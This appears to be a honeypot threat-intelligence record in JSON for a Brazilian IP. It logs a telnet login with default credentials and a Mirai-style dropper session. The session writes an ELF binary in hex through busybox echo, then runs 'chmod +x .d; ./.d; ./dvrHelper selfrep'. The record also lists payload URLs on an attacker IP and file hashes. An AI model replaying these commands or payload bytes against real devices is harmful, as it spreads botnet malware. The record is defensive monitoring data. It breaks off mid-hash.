{"ip":"168.196.48.5","data_as_of":"2026-10-26T22:47:44+00:00","observed":true,"total_events":0,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"1 interactive session(s) ran commands after logging in","confidence":"high","network_type":"residential ISP","why":["1 interactive session(s) logged in and ran commands.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","Not in any known-scanner range.","Sent 75,013 bytes, which is sustained payload delivery.","Held a session open for 74s, against a median of well under a second."],"engagement":{"level":"payload","label":"Sustained payload, held open","detail":"75,013 bytes sent, longest session 74s","bytes_sent":75013,"session_seconds":74,"persistent":true},"basis":"interactive"},"first_seen":"2026-10-26T10:31:29","last_seen":"2026-10-26T10:31:29","events_24h":0,"events_7d":0,"interactive_sessions":1,"interactive_sessions_24h":1,"interactive_sessions_7d":1,"interactive_protocols":[{"protocol":"telnet","sessions":1}],"geo":{"country_code":"BR","country_name":"Brazil","region":"","city":"","lat":null,"lon":null,"asn":52974,"org":"Henet Telecomunicacoes Ltda"},"source_domain":"168-196-48-005.henet.com.br","known_scanners":[],"scanner_tag":{"key":"peeringdb:as52974","label":"Henet Telecomunicacoes Ltda","category":"isp","url":"https://www.peeringdb.com/asn/52974"},"cve_matches":[],"malware":[],"udp":null,"interaction":{"window_days":90,"sessions":1,"first_seen":"2026-10-26T10:31:29","last_seen":"2026-10-26T10:31:29","verdicts":[{"verdict":"post-exploitation","sessions":1}],"personas":[{"persona":"linux-ubuntu@24.04","sessions":1}],"services":[{"protocol":"telnet","port":23,"sessions":1}],"logins":[{"username":"default","password":"OxhlwSG8","password_sent":true,"service":"telnet","outcome":"success","tries":1,"last_seen":"2026-10-26T10:30:18"}],"commands":[{"ts":"2026-10-26T10:31:28","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox","exit_code":0},{"ts":"2026-10-26T10:31:28","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep","exit_code":127},{"ts":"2026-10-26T10:31:26","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox","exit_code":0},{"ts":"2026-10-26T10:31:26","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:26","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC4\\x03\\x00\\x00\\x1E\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:26","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x08\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\xC4\\x03\\x41\\x00\\xC4\\x03\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:26","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x80\\x03\\x40\\x00\\x80\\x03\\x00\\x00\\x44\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x19\\x00\\x00\\x00\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:26","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\xEC\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x32\\x00\\x00\\x00\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:26","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0B\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x94\\x00\\x40\\x00\\x94\\x00\\x00\\x00\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:26","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x73\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:26","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x00\\x00\\x00\\x00\\x00\\x2E\\x73\\x68\\x73\\x74\\x72\\x74\\x61\\x62\\x00\\x2E\\x74\\x65\\x78\\x74\\x00\\x2E\\x72\\x6F\\x64\\x61\\x74\\x61\\x00\\x2E\\x62\\x73\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:26","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x47\\x45\\x54\\x20\\x2F\\x6A\\x6B\\x6C\\x73\\x68\\x34\\x20\\x48\\x54\\x54\\x50\\x2F\\x31\\x2E\\x30\\x0D\\x0A\\x0D\\x0A\\x00\\x00\\x00\\x00\\x46\\x49\\x4E\\x0A\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:26","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x73\\x68\\x34\\x00\\x4D\\x49\\x52\\x41\\x49\\x0A\\x00\\x00\\x64\\x76\\x72\\x48\\x65\\x6C\\x70\\x65\\x72\\x00\\x00\\x00\\x4E\\x49\\x46\\x0A\\x00\\x00\\x00\\x00\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:26","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\xF6\\x6E\\xF6\\x68\\x0B\\x00\\x09\\x00\\x6C\\x03\\x40\\x00\\x03\\xD0\\xE6\\x2F\\xF3\\x6E\\xE3\\x6F\\xF6\\x6E\\x0B\\x00\\x09\\x00\\x09\\x00\\xC4\\x03\\x41\\x00\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:26","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\xE4\\x50\\xE3\\x57\\xE5\\x51\\x16\\xC3\\x82\\xE1\\x16\\x30\\x06\\x8F\\x03\\x68\\x05\\xD0\\x0B\\x40\\x09\\x00\\x8B\\x61\\x12\\x20\\xFF\\xE0\\xE3\\x6F\\x26\\x4F\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:26","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\xF3\\x6E\\xE3\\x6F\\xF6\\x6E\\x2B\\x41\\x09\\x00\\x09\\x00\\xAC\\x01\\x40\\x00\\x86\\x2F\\x43\\x63\\xE6\\x2F\\x53\\x64\\x22\\x4F\\x63\\x65\\xF3\\x6E\\x73\\x66\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:26","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x24\\x01\\x40\\x00\\x98\\x03\\x40\\x00\\xA0\\x03\\x40\\x00\\x68\\x01\\x40\\x00\\x0A\\x0D\\x0A\\x0D\\xF0\\x00\\x40\\x00\\xBC\\x03\\x40\\x00\\x03\\xD1\\xE6\\x2F\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:25","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x80\\x03\\x40\\x00\\x4C\\x01\\x40\\x00\\x84\\x03\\x40\\x00\\x94\\x00\\x40\\x00\\x08\\x01\\x40\\x00\\x8C\\x03\\x40\\x00\\x84\\x01\\x40\\x00\\xD8\\x00\\x40\\x00\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:25","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\xF6\\x6E\\xF6\\x6B\\xF6\\x6A\\xF6\\x69\\xF6\\x68\\x0B\\x00\\x09\\x00\\x80\\x00\\x00\\x50\\x82\\x00\\xB0\\x00\\x8B\\x00\\x41\\x02\\xFF\\x01\\x93\\x00\\x09\\x00\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:25","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x1C\\xD8\\x0B\\x48\\x93\\x64\\x0B\\x48\\xB3\\x64\\x1B\\xD5\\x04\\xE6\\x0B\\x4A\\x01\\xE4\\x12\\xD1\\x0B\\x41\\x05\\xE4\\x48\\x7E\\x4C\\x7E\\xE3\\x6F\\x26\\x4F\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:25","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\xEC\\x8B\\x22\\xD0\\x93\\x64\\x22\\x96\\x16\\xDA\\x0B\\x40\\xE3\\x65\\x15\\x40\\xE3\\x65\\x03\\x66\\x04\\x8F\\xB3\\x64\\x0B\\x4A\\x09\\x00\\xF1\\xAF\\x09\\x00\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:25","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x2A\\xD0\\x01\\xE6\\xEC\\x3A\\xA3\\x65\\x0B\\x40\\x18\\x48\\x01\\x88\\x03\\x8D\\x04\\xE4\\x22\\xD1\\x0B\\x41\\x09\\x00\\xA0\\x61\\x1B\\x28\\x24\\xD1\\x10\\x38\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:25","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x8B\\x64\\x28\\xD0\\xA3\\x68\\x15\\x78\\x93\\x64\\x2F\\xD5\\x0B\\x40\\x83\\x66\\x80\\x30\\x02\\x89\\x29\\xD1\\x0B\\x41\\x03\\xE4\\x00\\xE8\\x3E\\x9A\\x93\\x64\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:25","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x37\\xD0\\x93\\x64\\x53\\x95\\x10\\xE6\\x0B\\x40\\xEC\\x35\\x11\\x40\\x08\\x8D\\x03\\x68\\x2C\\xD0\\x01\\xE4\\x33\\xD5\\x0B\\x40\\x04\\xE6\\x2F\\xD1\\x0B\\x41\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:25","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x09\\x00\\x03\\x6B\\x3C\\xD0\\x02\\xE4\\x01\\xE5\\x0B\\x40\\x00\\xE6\\xFF\\x88\\x03\\x8D\\x03\\x69\\xB3\\x60\\xFF\\x88\\x02\\x8B\\x38\\xD1\\x0B\\x41\\x01\\xE4\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:25","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x77\\x90\\xEC\\x38\\x28\\xE7\\x11\\x28\\x25\\x0E\\x40\\xD0\\x72\\x94\\x72\\x96\\x0B\\x40\\x41\\xE5\\x01\\x18\\x3E\\xD0\\x3E\\xD4\\x6D\\x95\\x6D\\x96\\x0B\\x40\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:25","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x20\\x61\\x18\\x21\\xFC\\x8F\\x01\\x72\\xFF\\x72\\x46\\xD0\\x23\\x6A\\x44\\xD1\\x01\\xE4\\x06\\xE6\\x44\\xD5\\x7A\\x98\\x0B\\x40\\x18\\x3A\\x78\\x92\\x02\\xE1\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:25","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x26\\x4F\\xF6\\x6E\\x0B\\x00\\x09\\x00\\x30\\x03\\x40\\x00\\x86\\x2F\\x96\\x2F\\xA6\\x2F\\xB6\\x2F\\xE6\\x2F\\x22\\x4F\\x49\\xD2\\xB4\\x7F\\xB8\\x7F\\xF3\\x6E\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:25","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x30\\x03\\x40\\x00\\xE6\\x2F\\x22\\x4F\\x07\\xD0\\xF4\\x7F\\xF3\\x6E\\x42\\x2E\\x51\\x1E\\x66\\xE4\\x62\\x1E\\x01\\xE5\\x0B\\x40\\xE3\\x66\\x0C\\x7E\\xE3\\x6F\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:25","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x2B\\x41\\x09\\x00\\x30\\x03\\x40\\x00\\x53\\x61\\x63\\x67\\x13\\x66\\x04\\xD1\\xE6\\x2F\\x43\\x65\\xF3\\x6E\\x03\\xE4\\xE3\\x6F\\xF6\\x6E\\x2B\\x41\\x09\\x00\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:25","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x26\\x4F\\xF6\\x6E\\x0B\\x00\\x09\\x00\\x30\\x03\\x40\\x00\\x53\\x61\\x63\\x67\\x13\\x66\\x04\\xD1\\xE6\\x2F\\x43\\x65\\xF3\\x6E\\x04\\xE4\\xE3\\x6F\\xF6\\x6E\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:25","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x30\\x03\\x40\\x00\\xE6\\x2F\\x22\\x4F\\x07\\xD0\\xF4\\x7F\\xF3\\x6E\\x42\\x2E\\x51\\x1E\\x66\\xE4\\x62\\x1E\\x03\\xE5\\x0B\\x40\\xE3\\x66\\x0C\\x7E\\xE3\\x6F\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:25","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x09\\x00\\x09\\x00\\x30\\x03\\x40\\x00\\x53\\x61\\x63\\x67\\x13\\x66\\x04\\xD1\\xE6\\x2F\\x43\\x65\\xF3\\x6E\\x05\\xE4\\xE3\\x6F\\xF6\\x6E\\x2B\\x41\\x09\\x00\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:25","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\xF3\\x6E\\xE3\\x6F\\xF6\\x6E\\x2B\\x41\\x09\\x00\\x09\\x00\\x30\\x03\\x40\\x00\\x04\\xD1\\x43\\x65\\xE6\\x2F\\x06\\xE4\\xF3\\x6E\\xE3\\x6F\\xF6\\x6E\\x2B\\x41\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:24","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x19\\x46\\x19\\x42\\x3B\\x20\\x6B\\x22\\x2B\\x20\\xE3\\x6F\\xF6\\x6E\\x0B\\x00\\x09\\x00\\x09\\x00\\x00\\x00\\xFF\\x00\\x04\\xD1\\x43\\x65\\xE6\\x2F\\x01\\xE4\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:24","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x4B\\x25\\x6C\\x66\\x7C\\x67\\x5B\\x27\\x18\\x46\\x7B\\x26\\x63\\x60\\x1D\\x40\\x08\\xD1\\x63\\x63\\x19\\x43\\x63\\x62\\x3C\\x63\\x19\\x26\\x29\\x42\\x28\\x43\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:24","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x5C\\x65\\x18\\xE1\\x28\\x45\\xE6\\x2F\\x1D\\x44\\xF3\\x6E\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:24","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\xC4\\x03\\x41\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x51\\xE5\\x74\\x64\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:24","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x00\\x00\\x40\\x00\\xC4\\x03\\x00\\x00\\xC4\\x03\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\xC4\\x03\\x00\\x00\\xC4\\x03\\x41\\x00\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:24","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\xE4\\x03\\x00\\x00\\x16\\x00\\x00\\x00\\x34\\x00\\x20\\x00\\x03\\x00\\x28\\x00\\x05\\x00\\x04\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:24","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x7F\\x45\\x4C\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x2A\\x00\\x01\\x00\\x00\\x00\\x1C\\x03\\x40\\x00\\x34\\x00\\x00\\x00\" > .d","exit_code":0},{"ts":"2026-10-26T10:31:22","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox","exit_code":0},{"ts":"2026-10-26T10:31:21","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox","exit_code":0},{"ts":"2026-10-26T10:31:21","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep","exit_code":127},{"ts":"2026-10-26T10:31:20","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox","exit_code":0},{"ts":"2026-10-26T10:31:20","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x18\\x00\\x00\\x00\\x1E\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:20","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x00\\x00\\x04\\x18\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x03\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:20","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x19\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x03\\x00\\x02\\x04\\x18\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:20","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x32\\x00\\x01\\x03\\xC8\\x00\\x00\\x03\\xC8\\x00\\x00\\x00\\x50\" >> .d","exit_code":0},{"ts":"2026-10-26T10:31:20","session_id":"dcfda396-94fb-419c-8df9-5d49b40232dd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox echo -ne \"\\x00\\x00\\x00\\x0B\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x06\\x00\\x01\\x00\\x94\\x00\\x00\\x00\\x94\\x00\\x00\\x03\\x34\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" >> .d","exit_code":0}],"downloads":[{"url":"tftp[.]sh","host":"","sessions":1,"first_seen":"2026-10-26T10:31:29","last_seen":"2026-10-26T10:31:29","virustotal":null},{"url":"[http]://176[.]65[.]139[.]40/wget.sh","host":"176[.]65[.]139[.]40","sessions":1,"first_seen":"2026-10-26T10:31:29","last_seen":"2026-10-26T10:31:29","virustotal":{"sha256":"7b8cd695424f9b004b459ce886d92e9a24f38957dc9071510ab669a7cb89c417","status":"known","malicious":35,"total":75,"name":"lbeehhfm3.exe"}},{"url":"[http]://176[.]65[.]139[.]40/curl.sh","host":"176[.]65[.]139[.]40","sessions":1,"first_seen":"2026-10-26T10:31:29","last_seen":"2026-10-26T10:31:29","virustotal":{"sha256":"b965f772177c2e79bff3739cdffa544d357e16441bdd833428aae067fe52dd65","status":"known","malicious":33,"total":75,"name":"b965f772177c2e79bff3739cdffa544d357e16441bdd833428aae067fe52dd65.sh"}}],"files":[{"sha256":"01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","name":".b","size":1,"mime_type":"text/plain","kind":"executed","times":18,"first_seen":"2026-10-26T10:30:22","last_seen":"2026-10-26T10:30:22","virustotal":{"sha256":"01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","status":"known","malicious":0,"total":75,"name":"standalone-framework.js"}},{"sha256":"0c99433c7d433d65ab890dcee20b330f262379d532bc76f91e18f09ecfa5fb54","name":".k","size":202,"mime_type":"text/x-shellscript","kind":"executed","times":11,"first_seen":"2026-10-26T10:30:23","last_seen":"2026-10-26T10:30:23","virustotal":{"sha256":"0c99433c7d433d65ab890dcee20b330f262379d532bc76f91e18f09ecfa5fb54","status":"known","malicious":0,"total":74,"name":"redir_075536e51f6f46889eb3485f474d5cba"}},{"sha256":"7c34c76b8d831eb3c3b8585a96f763690956aadbc0a00f37146317ca8d54548d","name":".d","size":1196,"mime_type":"application/x-executable","kind":"sample","times":2,"first_seen":"2026-10-26T10:31:26","last_seen":"2026-10-26T10:31:28","virustotal":{"sha256":"7c34c76b8d831eb3c3b8585a96f763690956aadbc0a00f37146317ca8d54548d","status":"known","malicious":27,"total":75,"name":"redir_853ac5e4cc1d4a1ba3f6170f87171a52"}},{"sha256":"361d59f3c4c3503eac7034992fc6a43b6d0150225a8a211d7ec8d46ad1faba4a","name":".d","size":1280,"mime_type":"application/x-executable","kind":"sample","times":2,"first_seen":"2026-10-26T10:31:20","last_seen":"2026-10-26T10:31:21","virustotal":null},{"sha256":"ad342fe93845aa0b08cf029eee2efa36d36f33c1c56163ea4e86492638c92774","name":".d","size":1404,"mime_type":"application/x-executable","kind":"sample","times":2,"first_seen":"2026-10-26T10:31:14","last_seen":"2026-10-26T10:31:15","virustotal":null},{"sha256":"f49f2a8c6ace49a9ac5ba19b17662efda79d5aa3f8ea90cc0d526fc7ce2a7f09","name":".d","size":2032,"mime_type":"application/x-executable","kind":"sample","times":2,"first_seen":"2026-10-26T10:31:07","last_seen":"2026-10-26T10:31:08","virustotal":null},{"sha256":"fe106f4e18cf4b043852bf660927b436e85e0750b1a2faceab1af1720a7f4406","name":".d","size":2000,"mime_type":"application/x-executable","kind":"sample","times":2,"first_seen":"2026-10-26T10:30:59","last_seen":"2026-10-26T10:31:00","virustotal":{"sha256":"fe106f4e18cf4b043852bf660927b436e85e0750b1a2faceab1af1720a7f4406","status":"known","malicious":29,"total":75,"name":"fe106f4e18cf4b043852bf660927b436e85e0750b1a2faceab1af1720a7f4406.elf"}},{"sha256":"b5236a9cb37e75a9fd8cafa7c0d9483493bf31f1e1066b13381da536857aac42","name":".d","size":2907,"mime_type":"application/x-executable","kind":"sample","times":2,"first_seen":"2026-10-26T10:30:51","last_seen":"2026-10-26T10:30:53","virustotal":{"sha256":"b5236a9cb37e75a9fd8cafa7c0d9483493bf31f1e1066b13381da536857aac42","status":"known","malicious":28,"total":75,"name":"w6ag4s.exe"}},{"sha256":"e49c0134ca260d5f724538b06b5bd5e1c1a14e83ef5decf6a402394d2afb5e35","name":".d","size":1452,"mime_type":"application/x-executable","kind":"sample","times":2,"first_seen":"2026-10-26T10:30:42","last_seen":"2026-10-26T10:30:43","virustotal":null},{"sha256":"c7eeca8447911a00093da423cb3a0b3bb69c67ea8dd5bdaaf499be6ea99ab3d3","name":".d","size":1164,"mime_type":"application/x-executable","kind":"sample","times":2,"first_seen":"2026-10-26T10:30:35","last_seen":"2026-10-26T10:30:36","virustotal":null},{"sha256":"4dc8c9ab97ab73bc21e073a30dde543c755fccfe873f5c738b94bdbce6cf2298","name":".d","size":32,"mime_type":"application/x-executable","kind":"shell-write","times":2,"first_seen":"2026-10-26T10:30:27","last_seen":"2026-10-26T10:30:33","virustotal":null},{"sha256":"00d21a53eb286b90ed853b7a8c1da493905aa2318686c9c3f3f3af6175832177","name":".d","size":1160,"mime_type":"application/x-executable","kind":"sample","times":2,"first_seen":"2026-10-26T10:30:29","last_seen":"2026-10-26T10:30:30","virustotal":{"sha256":"00d21a53eb286b90ed853b7a8c1da493905aa2318686c9c3f3f3af6175832177","status":"known","malicious":30,"total":75,"name":"wa534.exe"}},{"sha256":"3e53ec2a27044ff0ea5b049d07fa756f6a374caf863214ede7d1f8ffa811cafd","name":".d","size":1184,"mime_type":"application/x-executable","kind":"shell-write","times":1,"first_seen":"2026-10-26T10:31:26","last_seen":"2026-10-26T10:31:26","virustotal":{"sha256":"3e53ec2a27044ff0ea5b049d07fa756f6a374caf863214ede7d1f8ffa811cafd","status":"known","malicious":29,"total":75,"name":"9m4a42k03.exe"}},{"sha256":"ee1284f77b59bd8d1af09128bd2c62b3e02dd9c5a260aae04ebb254cf0601e49","name":".d","size":1152,"mime_type":"application/x-executable","kind":"shell-write","times":1,"first_seen":"2026-10-26T10:31:26","last_seen":"2026-10-26T10:31:26","virustotal":{"sha256":"ee1284f77b59bd8d1af09128bd2c62b3e02dd9c5a260aae04ebb254cf0601e49","status":"known","malicious":28,"total":75,"name":"1fi9z0.exe"}},{"sha256":"fb382234abf3bdd080804180f09eeff1d1d5432afa8807cec6d6